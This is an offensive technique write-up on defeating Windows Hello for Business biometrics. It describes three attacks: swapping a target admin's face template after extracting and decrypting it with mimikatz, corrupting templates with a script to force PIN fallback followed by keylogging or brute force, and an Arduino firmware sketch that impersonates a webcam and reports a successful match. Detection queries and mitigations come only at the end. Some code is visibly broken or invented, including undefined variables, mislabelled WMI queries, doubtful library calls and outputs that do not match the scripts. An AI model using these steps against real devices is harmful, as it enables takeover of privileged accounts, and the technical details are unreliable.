| Attribute | Details |
|---|---|
| Technique ID | WHFB-004 |
| MITRE ATT&CK v18.1 | T1556.006 - Multi-Factor Authentication |
| Tactic | Credential Access |
| Platforms | Hybrid AD, Windows 10/11 |
| Severity | High |
| CVE | CVE-2021-34466, CVE-2025-26644 |
| Technique Status | ACTIVE with hardware-specific mitigations |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows 10 20H2 - 22H2, Windows 11 all versions, Windows Server 2019-2022 |
| Patched In | Partially mitigated with Enhanced Sign-in Security (ESS) on compatible hardware |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Windows Hello biometric authentication (facial recognition and fingerprint) stores biometric template data locally within the NGC container. An attacker with local administrator access can either (1) replace legitimate biometric templates with their own face/fingerprint data (face-swap attack), (2) corrupt biometric data to force fallback to less secure PIN authentication, or (3) spoof biometric sensors using custom USB devices. These attacks enable unauthorized authentication to the target device and accounts. The architectural flaw is that all biometric template encryption uses local system keys stored on the same device, allowing administrators to decrypt, modify, and re-encrypt templates without user interaction or external entropy validation.
Attack Surface: Biometric template storage in NGC container, Windows Biometric Service (running as SYSTEM), device camera/fingerprint sensor communication, USB sensor spoofing, and fallback authentication mechanisms.
Business Impact: Complete authentication bypass via biometric impersonation or fallback to weaker authentication. An attacker with admin access can log in as any domain admin or privileged user whose biometric is stored on the device. This enables unauthorized access to sensitive systems, credential theft, and lateral movement. The fallback exploitation allows attackers to force users to authenticate via PIN, which may then be intercepted or brute-forced.
Technical Context: Face-swap attack requires 10-30 minutes of admin-level work to extract templates, swap SIDs, and re-encrypt. Biometric spoofing via USB device requires custom hardware ($500-2000) but no admin access. Detection is very low as no system artifacts are created. Once biometrics are compromised, they remain vulnerable until user re-enrolls (which many do not know to do).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.2.4 | Ensure ‘Windows Hello for Business PIN is required’ is configured |
| CIS Benchmark | 2.3.10 | Ensure ‘Enhanced Sign-in Security’ is enabled on capable hardware |
| DISA STIG | WN10-00-000015 | Biometric authentication must include liveness detection |
| DISA STIG | WN11-CC-000007 | Biometric template storage must be encrypted with TPM |
| CISA SCuBA | MA-1.1 | Multi-factor Authentication - biometric liveness requirements |
| NIST 800-53 | AC-2(12) | Account Monitoring for Atypical Usage |
| NIST 800-53 | IA-2(11) | Multi-Factor Authentication for High-Value Accounts |
| NIST 800-53 | SC-7(8) | Boundary Protection - sensor spoofing prevention |
| NIST 800-63 | 5.2.3 | Biometric Security Requirements - liveness detection |
| GDPR | Art. 32 | Security of Processing - biometric data protection and renewal |
| DORA | Art. 9 | Protection and Prevention - biometric security measures |
| NIS2 | Art. 21 | Cyber Risk Management - protection of authentication mechanisms |
| ISO 27001 | A.9.2.1 | User Registration and De-registration - biometric re-enrollment |
| ISO 27001 | A.9.2.3 | Management of Privileged Access - biometric audit trails |
| ISO 27005 | Risk Scenario | Compromise of biometric template integrity via administrator access |
Supported Versions:
Prerequisite Tools (Template Swapping):
Prerequisite Tools (USB Spoofing):
# Check which biometric factors are enrolled for current user
Get-WmiObject -Namespace "\\.\root\wmi" -Class "Win32_BiometricLogicalSensor"
# List all biometric templates (requires admin)
Get-WmiObject -Namespace "\\.\root\cimv2" -Class "Win32_SystemEnclosure" | Select-Object SerialNumber
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc"
Get-ChildItem -Path $NgcPath -Recurse -Filter "*" -Force | Where-Object { $_.Extension -eq "" }
What to Look For:
# Check camera availability on hybrid Linux/Windows systems
v4l2-ctl --list-devices
# Verify sensor USB endpoint
lsusb | grep -i "biometric\|camera\|sensor"
Supported Versions: Windows 10 20H2+, Windows 11 all versions
Objective: Locate and extract encrypted biometric template files containing facial recognition or fingerprint data
Command:
# Identify target user's SID
$targetUser = "DOMAIN\TargetAdmin"
$objUser = New-Object System.Security.Principal.NTAccount($targetUser)
$targetSID = $objUser.Translate([System.Security.Principal.SecurityIdentifier]).Value
# Extract biometric templates
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\$targetSID"
$templatePath = "$NgcPath\Biometric Templates"
# Copy entire template directory
Copy-Item -Path $templatePath -Destination "C:\Temp\BiometricTemplates" -Recurse -Force
# List extracted files
Get-ChildItem -Path "C:\Temp\BiometricTemplates" -Recurse | Format-Table FullName, Length
Expected Output:
FullName Length
-------- ------
C:\Temp\BiometricTemplates\{GUID}_FacialRecognition.dat 2048
C:\Temp\BiometricTemplates\{GUID}_FacialRecognition.db 4096
C:\Temp\BiometricTemplates\Enrollment_Data.bin 512
What This Means:
OpSec & Evasion:
Objective: Extract DPAPI masterkey and decrypt biometric template data
Command (Using mimikatz):
mimikatz.exe
mimikatz # token::elevate
mimikatz # dpapi::masterkey /in:C:\Temp\BiometricTemplates /sid:{target_sid}
# Output: masterkey GUID and key hex
mimikatz # dpapi::blob /in:C:\Temp\BiometricTemplates\{GUID}_FacialRecognition.dat `
/masterkey:{masterkey_hex} /password:{user_password_if_needed}
Expected Output:
masterkey: {12345678-1234-1234-1234-123456789012}
key: 32-byte DPAPI key
Decrypted biometric template:
Version: 2
Template Type: Facial Recognition
Enrollment Count: 5
Biometric Data: {hex_blob_of_face_template}
What This Means:
Objective: Replace target user’s biometric template with attacker’s biometric data, then re-encrypt with original key
Command (Using WinBioTools or custom script):
#!/usr/bin/env python3
import struct
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# Read extracted and decrypted template from target user (admin)
with open("C:\\Temp\\BiometricTemplates\\admin_template_decrypted.bin", "rb") as f:
admin_template = f.read()
# Read attacker's biometric template (obtained separately)
# This could be obtained from attacker's own Windows Hello enrollment
with open("C:\\Temp\\attacker_template.bin", "rb") as f:
attacker_template = f.read()
# Parse WINBIO_STORAGE_RECORD structure
# Extract admin's SID from template
admin_sid_offset = 128
admin_sid = admin_template[admin_sid_offset:admin_sid_offset+28]
# Replace template data while keeping SID
modified_template = admin_template[:admin_sid_offset] # Keep header/SID
modified_template += attacker_biometric_data # Inject attacker's biometric
modified_template += admin_template[admin_sid_offset+len(attacker_biometric_data):] # Keep rest
# Recalculate SHA-256 hash of modified template
import hashlib
template_hash = hashlib.sha256(modified_template).digest()
# Re-encrypt modified template with original DPAPI key
from dpapi_ng import encrypt_with_key
masterkey_hex = "extracted_from_step_2"
re_encrypted = encrypt_with_key(modified_template, bytes.fromhex(masterkey_hex))
# Write back to NGC directory
with open("C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Ngc\\...\\FacialRecognition.dat", "wb") as f:
f.write(re_encrypted)
print("[+] Face-swap complete: Attacker's face now authenticates as admin")
Expected Output:
[+] Template hash recalculated and verified
[+] Re-encryption completed with original DPAPI key
[+] Modified template written back to NGC directory
[+] Face-swap attack successful - attacker can now log in as admin
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Confirm biometric authentication now succeeds with attacker’s face
Command:
# Reboot device to clear any cached authentication state
Restart-Computer -Force
# At login screen, use facial recognition
# Position attacker's face in front of camera
# System should authenticate as target admin (e.g., Domain\Admin)
# If successful, attacker now has full access to:
# - Local device (SYSTEM privileges)
# - Domain resources (via compromised admin account)
# - Cloud resources (if Entra ID-joined)
# - Cached credentials and tokens
Expected Output:
Login screen appears
"Please look at your camera"
Facial recognition completes in 2-3 seconds
Welcome back, Domain\Admin
Desktop loads with admin privileges
Supported Versions: Windows 10 20H2+, Windows 11 all versions
Objective: Render biometric authentication unusable, forcing fallback to less secure authentication method
Command:
# Locate biometric template files
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\$targetSID"
$templateFiles = Get-ChildItem -Path $NgcPath -Recurse -Filter "*Facial*"
# Corrupt each template by flipping bits
foreach ($file in $templateFiles) {
$content = [System.IO.File]::ReadAllBytes($file.FullName)
# Flip first 64 bytes (header) to invalidate
for ($i = 0; $i -lt 64 -and $i -lt $content.Length; $i++) {
$content[$i] = $content[$i] -bxor 0xFF
}
# Write corrupted file back
[System.IO.File]::WriteAllBytes($file.FullName, $content)
Write-Output "[+] Corrupted: $($file.Name)"
}
Write-Output "Biometric templates corrupted - fallback to PIN/Password required"
Expected Output:
[+] Corrupted: FacialRecognition_ID1.dat
[+] Corrupted: FacialRecognition_ID2.dat
[+] Corrupted: FacialRecognition_ID3.dat
Biometric templates corrupted - fallback to PIN/Password required
What This Means:
Objective: After biometric corruption forces PIN usage, attack the PIN
Approach A: Keylogger / PIN Interception
# If attacker can install keylogger before corruption:
# - Capture user's PIN as they type at login screen
# - Log PIN to encrypted file for later retrieval
# Install keylogger driver (requires admin + kernel mode)
# (Code omitted for brevity - refer to actual rootkit tools)
Approach B: PIN Brute-Force (See WHFB-003)
# Use offline PIN brute-force as documented in WHFB-003
# Extract NGC container and brute-force 4-6 digit PINs
# Expected time: 2 minutes to 1 hour depending on PIN complexity
Supported Versions: Windows 10 20H2 - 22H2, Windows 11 (without Enhanced Sign-in Security)
Objective: Obtain USB communication patterns from legitimate Windows Hello sensor
Method 1a: Capture Legitimate Sensor Traffic
# Use Wireshark or usbpcap to monitor USB traffic from legitimate facial recognition
# Record USB commands and responses during successful authentication
# Example USB capture of sensor verification:
# Device: Dell Integrated Webcam
# EP OUT: 0x01 [Command: START_LIVENESS_DETECTION]
# EP IN: 0x81 [Response: LIVENESS_DETECTED, confidence=0xFFFF]
# EP OUT: 0x02 [Command: CAPTURE_FRAME]
# EP IN: 0x81 [Response: FRAME_CAPTURED, 640x480, IR_DATA]
Method 1b: Extract Sensor Firmware
#!/usr/bin/env python3
import usb.core
import usb.util
# Connect to sensor USB device
dev = usb.core.find(idVendor=0x0408, idProduct=0x5038) # Example XLight sensor
# Read firmware from device
cfg = dev.get_active_configuration()
intf = cfg[(0, 0)]
# Extract sensor authentication commands and expected responses
firmware = dev.read(0x81, 4096) # Read from endpoint
# Analyze firmware for hardcoded responses
hardcoded_responses = [
b"LIVENESS_VERIFIED",
b"FACE_MATCH_SCORE",
b"ENROLLMENT_COMPLETE"
]
for resp in hardcoded_responses:
if resp in firmware:
print(f"[+] Found hardcoded response: {resp}")
Objective: Create USB device that mimics legitimate sensor and reports successful authentication
Hardware:
Firmware:
// Arduino sketch emulating Windows Hello sensor
// Responds to USB commands by reporting successful facial match
#include <hidboot.h>
#include <usbhid.h>
// USB descriptor pretending to be Dell Integrated Webcam (0x0408:0x5038)
const uint8_t device_descriptor[] = {
0x12, // bLength
0x01, // bDescriptorType (DEVICE)
0x00, 0x02, // bcdUSB 2.00
0xef, // bDeviceClass (Miscellaneous)
0x02, // bDeviceSubClass
0x01, // bDeviceProtocol
0x40, // bMaxPacketSize0
0x08, 0x04, // idVendor 0x0408 (Dell)
0x38, 0x50, // idProduct 0x5038 (Integrated Webcam)
// ... rest of descriptor
};
// USB endpoint handler
void handleUSBCommand(uint8_t* command, uint8_t len) {
uint8_t response[256];
// Parse command
if (command[0] == 0x81) { // CAPTURE_FRAME command
// Respond: "Face matched successfully"
response[0] = 0x00; // Status: OK
response[1] = 0xFF; // Match confidence: maximum (255)
response[2] = 0x00; // Liveness: Verified
// Send response to host
USB_SendData(response, 3);
return;
}
if (command[0] == 0x82) { // LIVENESS_CHECK
// Respond: "Liveness verified"
response[0] = 0x00; // Status: OK
response[1] = 0x01; // Liveness: Detected
USB_SendData(response, 2);
return;
}
}
void setup() {
// Initialize USB as spoofed sensor device
USB_Init(device_descriptor);
}
void loop() {
// Handle incoming USB commands
uint8_t cmd[256];
uint8_t len = USB_ReceiveData(cmd, sizeof(cmd));
if (len > 0) {
handleUSBCommand(cmd, len);
}
}
Objective: Replace legitimate camera with spoofed USB device and authenticate as target user
Command:
# Disconnect legitimate camera (physically or via device manager)
# Connect custom Arduino USB device running above firmware
# At Windows login screen:
# - System detects "Dell Integrated Webcam" (our spoofed device)
# - User presses "Face recognition"
# - Custom firmware reports: "Face matched successfully"
# - Windows authenticates user without requiring actual biometric match
# If multiple users are enrolled, spoof responses with admin's SID
Expected Output:
Spoofed USB device detected as Windows Hello camera
User initiates facial recognition login
Custom firmware returns positive authentication response
Windows login successful - attacker gains access to any user account
What This Means:
OpSec & Evasion:
Troubleshooting:
Language: C++ Supported Platforms: Windows (compiled binary)
Compilation:
cl.exe WinBioTools.cpp /link advapi32.lib
Usage:
WinBioTools.exe --list-templates
WinBioTools.exe --extract-template {user_sid}
WinBioTools.exe --swap-templates {admin_sid} {attacker_sid}
Version: 2.0+ Supported Boards: Arduino Micro, Raspberry Pi Pico, etc.
Installation: Download and install from arduino.cc
Usage: Compile and upload USB spoofing firmware to microcontroller
Rule Configuration:
SPL Query:
index=windows sourcetype="WinEventLog:Security" (EventCode=4656 OR EventCode=4663)
ObjectName="*NgcXX*" OR ObjectName="*Biometric*" OR ObjectName="*FacialRecognition*"
AccessMask="0x120089" OR AccessMask="0x100003"
| stats count by SubjectUserName, ObjectName, AccessMask
Rule Configuration:
KQL Query:
DeviceEvents
| where ActionType == "UsbDriveConnected" or ActionType == "DevicePluggedIn"
| where DeviceName has_any ("CAMERA", "SENSOR", "WEBCAM", "BIOMETRIC")
| where Timestamp > (login_event_time - 5m) and Timestamp < (login_event_time + 1m)
| project TimeGenerated, DeviceName, DeviceId, InitiatingProcessName
Enable Enhanced Sign-in Security (ESS): Requires face authentication to occur in isolated virtual secure mode (VTL1), preventing local admin from accessing or modifying templates.
Manual Steps (Enable ESS):
Get-WinbioEnrollment | Select-Object *Secure*Note: ESS requires compatible hardware (TPM 2.0, IR camera, Hyper-V capable CPU). Check device compatibility before deploying.
Require TPM 2.0 with Anti-Hammering: TPM-backed biometric storage prevents template tampering and provides hardware-level protection.
Disable Fallback Authentication Methods: If biometric fails, require password + MFA instead of just PIN.
Manual Steps (Group Policy):
gpupdate /forceMonitor for Biometric Re-enrollment: Alert when users re-enroll biometrics (may indicate compromise).
Event to Monitor:
Restrict Physical Device Access: Biometric spoofing via USB requires physical access; limit device mobility and use cable locks.
Block Non-Compliant Cameras: Use device driver allowlist to prevent unsigned/unknown USB cameras from being recognized as Windows Hello sensors.
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | Phishing/Exploitation to gain local admin | |
| 2 | Privilege Escalation | Privilege escalation via printNightmare or RBCD | |
| 3 | Credential Access | [WHFB-004] Biometric Bypass & Fallback Exploitation | |
| 4 | Persistence | Establish backdoor admin account or cloud persistence | |
| 5 | Lateral Movement | Use admin tokens to compromise other systems |